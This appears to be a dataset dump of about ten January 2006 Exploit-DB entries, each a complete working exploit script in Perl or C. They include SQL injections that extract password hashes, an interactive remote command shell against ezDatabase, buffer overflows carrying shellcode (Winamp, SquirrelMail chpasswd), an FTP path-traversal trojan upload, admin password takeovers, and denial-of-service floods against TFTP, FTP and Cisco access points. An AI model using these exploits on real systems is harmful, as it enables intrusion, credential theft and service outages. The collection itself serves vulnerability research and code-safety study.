QLWD/code_shield huggingface dataset:
标题: Phpclanwebsite 1.23.1 - SQL Injection EDB-ID: 1453 CVE: 2006-0444 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-25 漏洞利用脚本: #!perl
#Phpclanwebsite 1.23.1 SQL injection exploit by matrix_killer
#Greets to all omega-team members[and specially to EcLiPsE] and also to h4cky0u[h4cky0u.org], Alpha-Fan, Chameleon and all my friends
#The exploit was tested on phpclan's website and it worked + my local server and on ra4ev.com
#But on versions below 1.23.1 it doesn't seem to work

use IO::Socket;
$host = $ARGV[0];
$path = $ARGV[1];
$topic = $ARGV[2];
$id = $ARGV[3];

if (@ARGV < 4) {
  print "---------------------------------------------------------\n";
  print "-- Phpclanwebsite 1.23.1 SQL Injection sploit --\n";
  print "-- (C)oded by matrix_killer --\n";
  print "-- Contact: matrix_k\@abv.bg || matrix_killer\@ra4ev.com --\n";
  print "-- Usage: $0 [host] [path] [topic] [id] --\n";
  print "-- Ex: $0 127.0.0.1 cws 2 2 --\n";
  print "---------------------------------------------------------\n";
  exit();
}
$sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || die "Can't establish a connection\n";

print $sock "GET /$path/index.php?page=forum&func=post&par=$topic HTTP/1.1\n";
print $sock "User-Agent: Mozilla/4.0\n";
print $sock "Host: $host\n\n";
while ($asd = <$sock>) {
        if ($asd =~ /Set-Cookie:/gi) {
             $asd =~ /cuser_id=([a-zA-Z0-9]{32})/;
             $cookie = $1;
        }
}
$sock->close;

$socket = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || die "Can't establish a connection\n";
print "-- Connection Established --\n";

print $socket "GET /$path/index.php?page=forum&func=post&par=$topic%20UNION%20SELECT%20null,null,null,null,null,null,password,null%20FROM%20cws_members%20WHERE%20member_id=$id/* HTTP/1.0\n";
print $socket "User-Agent: Mozilla/4.0\n";
print $socket "Host: $host\n";
print $socket "Cookie: cuser_id=$cookie; chitcounter=hitcounter\n\n";
print "-- Waiting... --\n";

while($ans = <$socket>) {
       if ($ans =~ /([a-zA-Z0-9]{32})/){
            if ($ans =~ /cookie/i) {
                 next;
            }
            print "\nmember id: $id \n";
            print "md5 hash: $1 \n";
            exit;
       }
}
print "Sorry there s33ms to be a problem\n";

# milw0rm.com [2006-01-25] URL: https://www.exploit-db.com/exploits/1453
标题: EZDatabase 2.0 - 'db_id' Remote Command Execution EDB-ID: 1442 CVE: 2006-0214 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-22 漏洞利用脚本: #!/usr/bin/perl
#
# ezDatabase Remote Command Execution Exploit
# based on advisory by Pridels Team
#
# Copyright (c) 2006 cijfer <cijfer@netti!fi>
# All rights reserved.
#
# never ctrl+c again.
# cijfer$ http://target.com/dir
# host changed to 'http://target.com/dir'
# cijfer$ 
#
# $Id: cijfer-ezdbxpl.pl,v 0.1 2006/01/21 019:22:00 cijfer Exp $

use LWP::UserAgent;
use URI::Escape;
use Getopt::Long;
use Term::ANSIColor;

$res  = GetOptions("host=s" => \$host, "proxy=s" => \$proxy, "verbose+" => \$verbose);
&usage unless $host;

while()
{
 print color("green"), "cijfer\$ ", color("reset");
 chomp($command = <STDIN>);
 exit unless $command;
 if($command =~ m/^http\:\/\/(.*)/g)
 {
  $host="http://".$1;
  print "host changed to '";
  print color("bold"), $host."'\n", color("reset");
 }
 &exploit($command,$host);
}

sub usage
{
 print "ezDatabase Remote Command Execution Exploit\n";
 print "Usage: $0 -hp [OPTION]...\n\n";
 print "  -h --host\tfull address of target (ex. http://www.website.com/directory)\n";
 print "  -p --proxy\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n";
 print "  -v --verbose\tverbose mode\n\n";
 exit;
}

sub exploit
{
 my($command,$host) = @_;

 $cij=LWP::UserAgent->new() or die;
 $cij->agent("Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:2.0) Gecko/20060101");
 $cij->proxy("http", "http://".$tunnel."/") unless !$proxy;

 $string  = "%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F%3B";
 $string .= uri_escape(shift);
 $string .= "%3B%20%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F";
 $execut  = "%3C%3F%24%68%61%6E%64%6C%65%3D%70%6F%70%65%6E";
 $execut .= "%5C%28%24%5F%47%45%54%5B%63%69%6A%5D%2C%22%72";
 $execut .= "%22%29%3B%77%68%69%6C%65%28%21%66%65%6F%66%28";
 $execut .= "%24%68%61%6E%64%6C%65%29%29%7B%24%6C%69%6E%65";
 $execut .= "%3D%66%67%65%74%73%28%24%68%61%6E%64%6C%65%29";
 $execut .= "%3B%69%66%28%73%74%72%6C%65%6E%28%24%6C%69%6E";
 $execut .= "%65%29%3E%3D%31%29%7B%65%63%68%6F%22%24%6C%69";
 $execut .= "%6E%65%22%3B%7D%7D%70%63%6C%6F%73%65%28%24%68";
 $execut .= "%61%6E%64%6C%65%29%3B%3F%3E";

 $out=$cij->get($host."/visitorupload.php?db_id=%3b%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%63%6d%64%5d%29&cmd=".$string);

 if($out->is_success)
 {
  @cij=split("_cijfer_",$out->content);
  print substr(@cij[1],1);
 }
 if($verbose)
 {
  $recv=length $out->content;
  print "Total received bytes: ".$recv."\n";
  $sent=length $command;
  print "Total sent bytes: ".$sent."\n";
 }
}

# milw0rm.com [2006-01-22] URL: https://www.exploit-db.com/exploits/1442
标题: TFTPD32 2.81 - GET Format String Denial of Service (PoC) EDB-ID: 1424 CVE: 2006-0328 类型: DOS 平台: WINDOWS 发布日期: 2006-01-19 漏洞利用脚本: #!/usr/bin/perl
# Tftpd32 Format String PoC DoS by Critical Security research http://www.critical.lt
use IO::Socket;
$port = "69";
$host = "127.0.0.1";
$tftpudp = IO::Socket::INET->new(PeerPort => $port,PeerAddr => $host,Proto=> 'udp');
$bzz = "\x00\x01" ;   #GET
$bzz .= "%.1000x\x00";
$bzz .= "\x6F\x63\x74\x65\x74\x00"; #octet
$tftpudp->send($bzz);

# milw0rm.com [2006-01-19] URL: https://www.exploit-db.com/exploits/1424
标题: Cisco Aironet Wireless Access Points - Memory Exhaustion ARP (Denial of Service) EDB-ID: 1447 CVE: 2006-0354 类型: DOS 平台: HARDWARE 发布日期: 2006-01-25 漏洞利用脚本: //
// Cisco Killer - ciskill.c
//
// Usage: ./ciskill [device]
//
// Author: Pasv (pasvninja [at] gmail.com)
//
// Credit: This exploit takes advantage of a vulnerability that was
// discovered by Eric Smith on January 12, 2006 (bid:16217)
//
// Greets to NW, zimmy, GSO, and the rest.
//
// Description: The vulnerability exists in the way the affected versions
// below handle ARP replies, if enough specially crafted ARP packets are sent
// on the network with the affected systems it will cause the access point memory
// exhaustion which will in a few seconds (depending on the speed of the attacker
// and the memory of the target) crash the system, making all ingoing/outgoing
// traffic stopped.
//
// Disclaimer: I pity the foo who uses this exploit for evil, I take no responsibility
// for your actions (like a knife maker).
//
// Versions affected:
//  Cisco Aironet 350 IOS
//  Cisco Aironet 1400
//  Cisco Aironet 1300
//  Cisco Aironet 1240AG
//  Cisco Aironet 1230AG
//  Cisco Aironet 1200
//  Cisco Aironet 1130AG
//  Cisco Aironet 1100
// (this includes most linksys wireless access points)



#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <linux/if_ether.h>
#include <linux/sockios.h>

// Edit this packet accordingly if the target is picky
char pkt[]=
// Ethernet header
"\xff\xff\xff\xff\xff\xff"  // Destination: broadcast
"AAAAAA"   // Source: 41:41:41:41:41:41
"\x08\x06"   // Pkt type: ARP
// ARP header
"\x00\x01"   // Hardware type: Ethernet
"\x08\x00"   // Protocol: IP
"\x06"    // Hardware size: 6
"\x04"    // Protocol size: 4
"\x00\x02"   // Opcode: Reply
"AAAAAA"   // Sender (Mac): 41:41:41:41:41:41
"AAAA"    // Sender (IP): 65.65.65.65
"AAAAAA"   // Target (mac): 41:41:41:41:41:41
"AAAA"    // Target (IP): 65.65.65.65
; // End of Packet

int main(int argc, char **argv) {
 FILE *fp;
 int sock, seed;
 long count;
 char *device;
 in_addr_t addr;
 struct sockaddr sin;
 
 printf("CisKill -- Aironet Cisco Killer\nCoded by: Pasv\nDiscovery credit: Eric Smith\n");
 if(getuid()) {
  printf("Must be root to inject arp packets!\n");
  exit(1);
 }
 
 if(argc != 2) {
  strcpy(device,"wlan0");
 }
 else {
  device=argv[1];
 }

 fp = fopen("/dev/urandom", "r");
 fscanf(fp,"%d", &seed);
 fclose(fp);
 srand(seed);
 
 memset(&sin, 0, sizeof(sin));
 sin.sa_family = AF_UNSPEC;
 strncpy(sin.sa_data,device, 14);
 
 sock = socket(PF_INET, SOCK_PACKET, 0x300);
 
 printf("Using device: %s\n\n", device); 
 
 // stupid
 printf("Press ctrl+c immediately if you wish to stop\nGoing in 5\n");
 sleep(1);printf(" 4\n");sleep(1);printf(" 3\n");sleep(1);printf(" 2\n");sleep(1);printf(" 1!\n");sleep(1);
 
 while(1) {
  addr = (rand()%0xff)+(rand()%0xff)+(rand()%0xff)+(rand()%0xff);
  pkt[28] = (char)addr;
  pkt[38] = (char)addr;
  count++;
  printf("#:%ld bytes sent: %d (should be 42)\n",count,  sendto(sock, pkt, 42, 0, (struct sockaddr *)&sin, sizeof(sin)));
 }
}

// milw0rm.com [2006-01-25] URL: https://www.exploit-db.com/exploits/1447
标题: Winamp 5.12 - '.pls' Remote Buffer Overflow (1) EDB-ID: 1458 CVE: 2006-0476 类型: REMOTE 平台: WINDOWS 发布日期: 2006-01-29 漏洞利用脚本: /*
*
* Winamp 5.12 Remote Buffer Overflow Universal Exploit (Zero-Day)
* Bug discovered & exploit coded by ATmaCA
* Web: http://www.spyinstructors.com  && http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to Kozan
*
*/

/*
*
* Tested with :
* Winamp 5.12 on Win XP Pro Sp2
*
*/

/*
* Usage:
*
* Execute exploit, it will create "crafted.pls" in current directory.
* Duble click the file, or single click right and then select "open".
* And Winamp will launch a Calculator (calc.exe)
*
*/

/*
*
* For to use it remotly,
* make a html page containing an iframe linking to the .pls file.
*
* http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm
*
*/

#include <windows.h>
#include <stdio.h>

#define BUF_LEN         0x045D
#define PLAYLIST_FILE   "crafted.pls"

char szPlayListHeader1[] = "[playlist]\r\nFile1=\\\\";
char szPlayListHeader2[] = "\r\nTitle1=~BOF~\r\nLength1=FFF\r\nNumberOfEntries=1\r\nVersion=2\r\n";

// Jump to shellcode
char jumpcode[] = "\x61\xD9\x02\x02\x83\xEC\x34\x83\xEC\x70\xFF\xE4";

// Harmless Calc.exe
char shellcode[] =
        "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
        "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
 "\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
 "\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
 "\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
        "\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
 "\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
 "\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
 "\x61\xdd\x0e\x4d";


int main(int argc,char *argv[])
{
        printf("\nWinamp 5.12 Remote Buffer Overflow Universal Exploit");
        printf("\nBug discovered & exploit coded by ATmaCA");
        printf("\nWeb: http://www.spyinstructors.com  && http://www.atmacasoft.com");
        printf("\nE-Mail: atmaca@icqmail.com");
        printf("\nCredit to Kozan");

        FILE *File;
        char *pszBuffer;

        if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) {
                printf("\n [Err:] fopen()");
                exit(1);
        }

        pszBuffer = (char*)malloc(BUF_LEN);
        memset(pszBuffer,0x90,BUF_LEN);
        memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);
        memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);
        memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);
        memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);

        fwrite(pszBuffer, BUF_LEN, 1,File);
        fclose(File);

        printf("\n\n"  PLAYLIST_FILE  " has been created in the current directory.\n");
        return 1;
}

// milw0rm.com [2006-01-29] URL: https://www.exploit-db.com/exploits/1458
标题: SquirrelMail 3.1 - Change Passwd Plugin Local Buffer Overflow EDB-ID: 1449 CVE: 2006-0331 类型: LOCAL 平台: LINUX 发布日期: 2006-01-25 漏洞利用脚本: /*
Change passwd  3.1 (SquirrelMail plugin )

Coded by rod hedor

web-- http://lezr.com

[local exploit]

 * Multiple buffer overflows are present in the handling of command line arguements in chpasswd.
  The bug allows a hacker to exploit the process to run arbitrary code.
*/

#include <stdio.h>
#include <stdlib.h>

const char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
                      "\x89\xe5\x31\xc0\x50\x55\x89\xe5"
                      "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
                      "\x2f\x62\x69\x89\xe3\x89\xe9\x89"
                      "\xea\xb0\x0b\xcd\x80";

long get_sp(){
       __asm__("movl %esp,%eax;");
};

int main(){
       char buffer[1024];
       long stack = get_sp();
       int result = 1;
       long offset = 0;
       printf ("[!] Change_passwd v3.1(SquirrelMail plugin) exploit\n");
       printf ("[+] Current stack [0x%x]\n",stack);
       while(offset <= 268435456){
       offset = offset + 1;
       stack = get_sp() + offset;
       memcpy(&buffer,"EGG=",4);
       int a = 4;
       while(a <= 108){
               memcpy(&buffer[a],"x",1);
               a = a + 1;}
       memcpy(&buffer[108],&stack,4);
       memcpy(&buffer[112],&shellcode,sizeof(shellcode));
       putenv(buffer);
       result = system("./chpasswd $EGG");
       if(result == 0){exit(0);};
       };
};

// milw0rm.com [2006-01-25] URL: https://www.exploit-db.com/exploits/1449
标题: Farmers WIFE 4.4 sp1 - 'FTP' Remote System Access EDB-ID: 1417 CVE: 2006-0319 类型: REMOTE 平台: WINDOWS 发布日期: 2006-01-14 漏洞利用脚本: #!/usr/bin/perl
# kokanin 20060106 // farmers wife server 4.4 sp1 allows us to 
# use ../../../ patterns as long as we stand in a folder where we have write access.
# haha, that's what you get for implementing your own access control instead of relying on the underlying OS.
# default port is 22003, default writable path is /guests.

# 0day 0day, private, distribute and die bla bla bla
# leet (translated) note from <anonymized>: you can log in as IEUser/mail@mail.com or anonymous/mail@mail.com
# on _all_ farmers wife servers. This can't be disabled unless you turn off FTP access. The anonymous
# login gives you guest access, which means write access to /guests, which means default remote 'root'
# aka SYSTEM access. Ha ha ha, thanks anonymized, I missed that bit.


if(!$ARGV[0]){ die "Usage: ./thisscript.pl <ip> [user] [pass] [port] [path] [trojan.exe] [/path/to/target.exe] \n";}
# as in: ./thisscript.pl 123.45.67.89 demo demo 22003 /writablepath /etc/hosts /owned.txt
# by default we just put /etc/hosts in a file called owned.txt in the root of the drive - 
# nuke %SYSTEMROOT%\system32\at.exe and wait for windows to run it.

# We can check for the %SYSTEMROOT% with the SIZE command to determine the proper
# location for our trojan.

use Net::FTP;
my $target = $ARGV[0];
my $dotdot = "../../../../../../../../../../../../../../";
# Here we set defaults (It's ugly, I know) that gives REMOTE REWT OMGOMG I MEAN SYSTEM
if($ARGV[1]){ $user = $ARGV[1] } else { $user = "IEUser";}
if($ARGV[2]){ $pass = $ARGV[2] } else { $pass = "mail\@mail.com";}
if($ARGV[3]){ $port = $ARGV[3] } else { $port = "22003";}
if($ARGV[4]){ $writablepath = $ARGV[4] } else { $writablepath = "/guests";}
if($ARGV[5]){ $trojan = $ARGV[5] } else { $trojan = "/etc/hosts";}
if($ARGV[6]){ $destination = $ARGV[6] } else { $destination = "owned.txt";}
print " target: $target \n user: $user \n pass: $pass \n port: $port \n writable path: $writablepath \n trojan: $trojan \n targetfile: $destination \n";

# Open the command socket
use Net::FTP;
$ftp = Net::FTP->new("$target",
                      Debug => 0,
                      Port => "$port")
 or die "Cannot connect: $@";
 $ftp->login("$user","$pass")
 or die "Cannot login ", $ftp->message;
 $ftp->cwd("$writablepath")
 # this software is so shitty, it allows us to CWD to any folder and just pukes later if it's not there.
 or die "Cannot go to writable dir ", $ftp->message;
 # leet %SYSTEMROOT% scan by determining where at.exe is using SIZE
 my @systemroots = ("PUNIX","WINXP","WINNT","WIN2000","WIN2K","WINDOWS","WINDOZE");
 for(@systemroots){
  $reply = $ftp->quot("SIZE " . $dotdot . $_ . "/system32/at.exe");
  if($reply == 2) { print " %SYSTEMROOT% is /$_\n";my $systemroot=$_; }
  }
 $ftp->binary;
 $ftp->put("$trojan","$dotdot"."$destination")
 and print "file successfully uploaded, donate money to kokanin\@gmail.com\n" or die "Something messed up, file upload failed ", $ftp->message;
$ftp->quit;

# milw0rm.com [2006-01-14] URL: https://www.exploit-db.com/exploits/1417
标题: MiniNuke 1.8.2 - Multiple SQL Injections EDB-ID: 1418 CVE: 2006-0199 类型: WEBAPPS 平台: ASP 发布日期: 2006-01-14 漏洞利用脚本: Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
}


---
Vendor: MiniNuke (www.miniex.net)
Version: 1.8.2 and prior versions must be affected.
About:Via this method remote attacker can inject SQL query to the news.asp 
---
How&Example: GET -> http://[site]/news.asp?Action=Print&hid=[SQLQuery]
http://www.miniex.net/news.asp?Action=Print&hid=66%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=52

Columns of MEMBERS:
uye_id = userid
sifre = md5 password hash
g_soru = secret question.
g_cevap = secret answer
email = mail address
isim = name
icq = ICQ Uin
msn = MSN Sn.
aim = AIM Sn.
meslek = job
cinsiyet = gender
yas = age
url = url
imza = signature
mail_goster = show mail :P
avurl = avatar url
avatar = avatar


---
Vendor: MiniNuke (www.miniex.net)
Version: 1.8.2 and prior versions must be affected.
About:Via this method remote attacker can change any users password without login.
---
How&Example: 
HTML Example
[code]
<html>
<title>MiniNuke <= 1.8.2 remote user password change</title>
<form method="POST" action="http://[SITE]/membership.asp?action=lostpassnew">
<table border="0" cellspacing="1" cellpadding="0" align="center" width="75%">
<tr><td colspan="2" align="center"><font face=verdana size=2>Now fill in the blanks</font></td></tr>
<tr><td colspan="2" align="center"><font face=tahoma size=1red>Change password </font></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD: </font></td>
<td width="50%"><input type="text" name="pass" size="20"></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD Again : </font></td>
<td width="50%"><input type="text" name="passa" size="20"><input type="text" name="x" value="Membername">&nbsp;&nbsp;
<input type="submit" value="Send" name="B1" style="font-family: Verdana; font-size: 10px; border: 1px ridge #FFFFFF; background-color: #FFFFFF"></td></tr>
</table></form>
</html>
[/code]

# milw0rm.com [2006-01-14] URL: https://www.exploit-db.com/exploits/1418
标题: Cerberus FTP Server 2.32 - Denial of Service EDB-ID: 1422 CVE: 2006-0357 类型: DOS 平台: WINDOWS 发布日期: 2006-01-16 漏洞利用脚本: /*
Cerberus FTP Server 2.32 Denial of Service
original advisory: http://kapda.ir/advisory-210.html
cerberus_232_dos_remote_xpl.c
*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define  POCSTR "%s"

int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );

int header() {
printf("\n[i] KAPDA - Computer Security Science Researchers Institute\n\n");
printf("[i] Title:              \tCerberus FTP Server <= v2.32 Dos Exploit\n");
printf("[i] Discovered by:      \tcvh {a] kapda.ir\n");
printf("[i] Exploit by:         \tPi3cH {a] kapda.ir\n");
printf("[i] More info:          \twww.kapda.ir/page-advisory.html\n\n");
return 0;
}

int usage(char *filename) {
printf("[i] Usage:   \t%s HOST PORT\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21\n\n",filename);
exit(0);
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
{
printf ( "[e] Failed connecting!\n" );
       exit(1);
}
return ( s );
}


int main(int argc, char *argv[]) {
 int s,i;
 char *request;
 char junk_data[] = "DoS-JUNK-DATA.:(CVH):.\x0d\x0a";
 header();
 if( (argc < 2) )
     usage(argv[0]);
 request = (char *) malloc(1024);
 printf("[r] Connecting to remote host\n");
 s = remote_connect(argv[1],atoi(argv[2]));
 sleep(1);
 printf("[r] Creating buffer\n");
 sprintf(request,POCSTR,junk_data);
 printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
 for(i=0;i<50000;i++)
  if ( send ( s, request, strlen (request), 0) <= 0 )
  {
          printf("[e] Failed to send buffer\n");
          close(s);
          exit(1);
  }
 sleep(1);
 printf("[s] Exploit Done!\n");
 close(s);
 free(request);
 request = NULL;
 return 0;
}

// milw0rm.com [2006-01-16] URL: https://www.exploit-db.com/exploits/1422
标题: Magic News Plus 1.0.3 - Admin Pass Change EDB-ID: 1410 CVE: 2006-0157 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-09 漏洞利用脚本: #!/usr/bin/perl
#
# Magic News Plus <=1.0.3 Admin Pass Change Exploit
#
# Copyright (c) 2006 cijfer <cijfer@netti.fi>
# All rights reserved.
#
# An input validation flaw exists within 'settings.php'
# of Magic News Plus which can lead to the changing of
# the administrative password. Here is where the problem 
# is (line 108 of 426):
#
#       ...
# [1]   elseif ($action == "change")
#        ...
# [2]    if ($passwd != $admin_password)
#         ...
# [3]     if ($new_passwd != $confirm_passwd)
#       ...
#
# 1. &action=change
# 2. &passwd=<ANYTHING>&admin_password=<AGAIN>
# 3. &new_passwd=<NEW>&confirm_passwd=<AGAIN>
#
# -> register_globals = on
#
# haha, sorry, no cmd execute this time.
#
# $Id: cijfer-mnxpl.pl,v 0.1 2006/01/07 19:24:00 cijfer Exp cijfer $

use LWP::UserAgent;
use Getopt::Long;
use Term::ANSIColor;

$port = 80;
$new  = "cijfer";
$res  = GetOptions("host=s" => \$host, "dir=s" => \$dir, "port=i" => \$port, "tunnel=s" => \$tunnel, "new=s" => \$new);

&usage unless $host and $dir;
&exploit;

sub usage
{
 print "Magic News Plus <=1.0.3 Admin Pass Change Exploit\n";
 print "Usage: $0 -hdn [OPTION]...\n\n";
 print "  -h --host\thostname or ip of target\n";
 print "  -d --dir\tdirectory without ending slash\n";
 print "  -p --port\tport number (default: 80)\n";
 print "  -t --tunnel\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n";
 print "  -n --new\tnew admin password you want (default: cijfer)\n\n";
 exit;
}

sub try
{
 $cij=LWP::UserAgent->new() or die;
 $cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
 $cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;

 $path="http://".$host.$dir."/";
 $out=$cij->get($path."index.php?login=admin&password=".$new."&action=login");

 if($out->is_success)
 {
  if($out->content =~ /Wrong/)
  {
   print color("red"), ":(\n", color("reset");
   exit;
  }
 }
}

sub exploit
{
 $cij=LWP::UserAgent->new() or die;
 $cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
 $cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;

 $string  = "settings.php?action=change";
 $string .= "&passwd=cijfer";
 $string .= "&admin_password=cijfer";
 $string .= "&new_passwd=";
 $string .= $new;
 $string .= "&confirm_passwd=";
 $string .= $new;

 $path="http://".$host.$dir."/";
 $out=$cij->get($path.$string);

 if($out->is_success)
 {
  print "trying username admin and password ".$new."...\n";
  &try;
  print "user: admin, pass: ".$new;
  print color("green"), " :)) ", color("reset");
  print "-- http://".$host.$dir."\n";
 }
 else
 {
  print color("red"), ":(\n", color("reset");
  exit;
 }
}

# milw0rm.com [2006-01-09] URL: https://www.exploit-db.com/exploits/1410